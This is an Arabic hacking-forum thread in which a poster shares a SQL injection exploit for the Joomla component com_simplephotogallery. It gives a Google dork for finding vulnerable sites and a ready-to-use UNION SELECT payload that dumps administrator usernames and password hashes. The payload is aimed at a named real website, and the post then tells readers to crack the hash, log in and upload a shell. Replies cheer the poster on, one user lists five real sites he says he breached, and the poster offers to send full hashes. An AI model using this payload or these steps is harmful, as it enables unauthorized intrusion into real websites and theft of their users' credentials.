حصريا على جيوش الهكرز

[Cyb3Rm0uJah3D]

http://img97.imageshack.us/img97/690/salamh.gif

أعضاء و زوار جيوش الهكرز، لكم مني أجمل تحية
http://img87.imageshack.us/img87/1498/913e588354hs6gi8.png
من إكتشافي، ثغرة SQL injection في سكربت جوملا com_simplephotogallery

http://img87.imageshack.us/img87/1498/913e588354hs6gi8.png
الشــــــــــــــــرح

نضع الدرك في محرك البحث google

inurl:"index.php?option=com_simplephotogallery"


جل هذه المواقع مصابة
http://up.phphost.biz/images/86391117944363087554.png

أنا إخترت هذا الموقع

http://www.nbc.org.bd/


نضيف هذا الإستغلال مباشرة بعد رابط الموقع

index.php?option=com_simplephotogallery&view=images&albumid=-1+/*!uNiON*/+/*!SeLeCt*/+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10 ,11,12+from+jos_users--+

فيصبح الرابط هكذا

http://www.nbc.org.bd/index.php?option=com_simplephotogallery&view=images&albumid=-1+/*!uNiON*/+/*!SeLeCt*/+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10 ,11,12+from+jos_users--+


سنتحصل على يوزر و باس الأدمن

http://up.phphost.biz/images/64075115029476916886.png

بعد فك الهاش ندخل لوحة التحكم و نرفع الشل

http://up.phphost.biz/images/17585147327025679274.png

ختاما، أتمنى لكم إختراقات موفقة

http://img828.imageshack.us/img828/8025/jhghgfgh254.gif

[Jordan Ghost]

بطل والله سلمت يداك يا بطل

[Cyb3Rm0uJah3D]

بطل والله سلمت يداك يا بطل


سررت بمرورك العطر أخي Palestinian Ghost
شكرا على التشجيع
:):):)

[shhaby]

بارك الله فيك ... بالتوفيق

[Cyb3Rm0uJah3D]

بارك الله فيك ... بالتوفيق


الله يبارك فيك عزيزي shhaby
:redface::redface::redface:

[dark prince]

مشكور للطرح واصل

[hackerpk]

بارك الله فيك

[MatriX Coder]

بارك الله فيك عملت معي
http://www.aphroditesmelody.com/
http://www.aphroditesvision.com/
http://locationbateauxtoulon.fr/
http://catamed.fr/
و
http://www.yctoulon.fr/

[farissi mohssin]

بــــــــــــارك اللـــــه فيــــــــــــــــــــك اخي

[NEXTGENHACKER]

لما يظهر الهاش و ابي افكه يطلعلي الهاش غلط

[الجليد المشتعل]

مشكور
يعطيك العافية

[Sarbout]

بارك الله فيك ... بالتوفيق

[hackrz finix]

مشكوور يا مبدع

[NEXTGENHACKER]

مو شغال كل مره يظهر لي انه الهاش غلط شسوي ممكن حل

[Cyb3Rm0uJah3D]

مو شغال كل مره يظهر لي انه الهاش غلط شسوي ممكن حل

أنظر إلى المشاركة رقم 8 "MatriX Coder"، إخترق 5 مواقع بهذه الثغرة.

على العموم هات رابط الموقع و سأرسل لك الهاش كاملا

[Mister Bouba]

شكرررررررررررااااااا

[BL4CK-T3RRORIST]

احسنت اخي واصل :)

[AhmedHaron]

الله عليك تمام

[zouhaire]

Merciii bcp

[commanderegy]

شكرا بلتوفيق

[king jokr]

مشكوووووووووور يا اخي

[commanderegy]

جزاك الله خيرا